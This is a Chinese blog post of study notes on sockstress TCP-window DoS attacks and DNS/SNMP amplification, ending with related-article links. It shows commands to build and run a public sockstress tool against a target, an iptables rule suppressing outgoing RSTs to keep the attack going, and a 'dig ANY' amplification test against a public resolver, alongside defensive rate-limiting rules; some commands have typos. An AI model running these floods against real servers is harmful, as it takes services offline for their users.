DoS与DdoS攻防分析之——流量放大与sockstress攻防

怼烎@ 2023-03-13 03:52 5阅读 0赞

# 流量放大与sockstress攻防 #

# sockstress攻击 #

## 原理简介 ##

2008年由 Jack C. Louis 发现，针对**TCP服务**的拒绝服务攻击

消耗被攻击目标系统资源 与攻击目标建立大量socket链接  
完成三次握手，最后的ACK包window大小为0 (客户端不接收数据) 攻击者资源消耗小（CPU、内存、带宽）  
**与SYN不同在于完成三次握手**

攻击时在攻击端抓包可以看见win=0  
异步攻击，单机可拒绝服务高配资源服务器  
Window窗口实现的TCP流控

## 攻击方法 ##

> 有的时候使用工具的时候提示权限不够  
> chmod 777给一个权限

## Python攻击脚本 ##

./sicjstress.py 1.1.1.1 21 100

## C攻击脚本 ##

-https://github.com/defuse/sockstress 
    			-gcc -Wall -c sockstress.c
    			-gcc -pthread -o sockstress sockstress.o

两种攻击模式

-./sockstress 1.1.1.1:80 eth0

直接攻击端口

-./sockstress 1.1.1.1:80 eth0 -p payloads/http

攻击站点

\-d是微秒内指定，默认为1000000 改成10之后并发带度更快。  
在语句后面添加

防火墙规则

-iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP

## 防范 ##

防御措施  
直到今天sockstress攻击仍然是一种很有效的DoS攻击方式 由于建立完整的TCP三步握手，因此使用syn cookie防御无效 根本的防御方法是采用白名单（不实际）  
折中对策：限制单位时间内每IP建的TCP连接数  
封杀每30秒与80端口建立连接超过10个的IP地址

iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
    				
    iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP

**以上规则对DDoS攻击无效**

# DNS放大攻击 #

产生大流量的攻击方法  
单机的带宽优势  
巨大单机数量形成的流量汇聚  
利用协议特性实现放大效果的流量

## DNS协议放大效果 ##

查询请求流量小，但响应流量可能非常巨大  
kali中使用 `digANYhp.com @202.106.0.20` (流量放大约8倍）

> 攻击原理 伪造源地址为被攻击目标地址，向递归域名查询服务器发起查询  
> DNS服务器成为流量放大和实施攻击者，大量DNS服务器实现DDoS

# SNMP放大攻击 #

> 攻击原理 请求流量小，查询结果返回流量大 结合伪造源地址实现攻击

发表评论取消回复

表情：

评论列表（有 0 条评论，5人围观）

还没有评论，来说两句吧...

相关阅读

相关《网络攻防》恶意代码分析

一实验内容了解恶意代码的简单分类传统型的计算机病毒脚本木马蠕虫了解恶意代码一般

￡神魔★判官ぃ/ 2024年03月22日 08:54/ 0 赞/ 58 阅读

相关 DoS与DdoS攻防分析——DDoS安全防范

DDoS安全防范主要就是利用waf防护墙的防DoS功能白名单端口过滤这个是力度比较大的，白名单万岁！连接限制设置防护基本信息需要防护的IP

r囧r小猫/ 2023年03月13日 13:06/ 0 赞/ 4 阅读

相关 DoS与DdoS攻防分析——应用层DoS攻击

应用层DoS 操作系统自身漏洞利用缓冲区溢出漏洞向目标函数随机提交数据，特定情况下数据覆盖临近寄存器或内存影响：远程代码执行、DoS 利用模糊测

布满荆棘的人生/ 2023年03月13日 03:53/ 0 赞/ 8 阅读

相关 DoS与DdoS攻防分析之——流量放大与sockstress攻防

流量放大与sockstress攻防 sockstress攻击原理简介 2008年由 Jack C. Louis 发现，针对TCP服务的拒绝服务攻击消耗被

怼烎@/ 2023年03月13日 03:52/ 0 赞/ 6 阅读

相关 Dos与Ddos攻防分析之——DoS与DDoS原理介绍及SYN攻防

DoS与DDoS原理介绍及SYN攻防断更警告断更警告断更警告断更警告断更警告断更警告断更警告断更警告断更警告到这周四考完python再继续写博客啦各位，老师临时变

ゝ一世哀愁。/ 2023年03月13日 03:51/ 0 赞/ 243 阅读

相关爬虫攻防

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

た入场券/ 2023年01月04日 14:34/ 0 赞/ 166 阅读

相关网络攻防之NETSTAT与NBTSTAT命令

文章目录 NBTSTAT 命令用法：参数：实例： NETSTAT 命令用法：参数：

超、凢脫俗/ 2022年11月18日 04:56/ 0 赞/ 337 阅读

相关 Kali Linux攻防系统（一：攻防系统Kali Linux下载安装与更新）

任务一：攻防系统Kali Linux下载安装与更新 1.1、安装Kali Linux虚拟机 1.1.1、电脑硬件配置至少达到 <table style="margi

Myth丶恋晨/ 2022年01月28日 04:15/ 0 赞/ 345 阅读

相关 dos与ddos攻击原理

基础原理 1.TCP饿死： UDP这种传输方式不会控制自己在通信通道里的流量，可理解为不讲道理的人。他们来到了一个热闹地区的KFC中，但是他们不买东西只排队将所有食物的

谁借莪１个温暖的怀抱￠/ 2021年07月28日 14:23/ 0 赞/ 621 阅读

相关《网络攻防》恶意代码分析

基础问题回答如果在工作中怀疑一台主机上有恶意代码，但只是猜想，所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些，用什么方法来监控。创建进程、修改注...

灰太狼/ 2021年01月09日 03:20/ 0 赞/ 628 阅读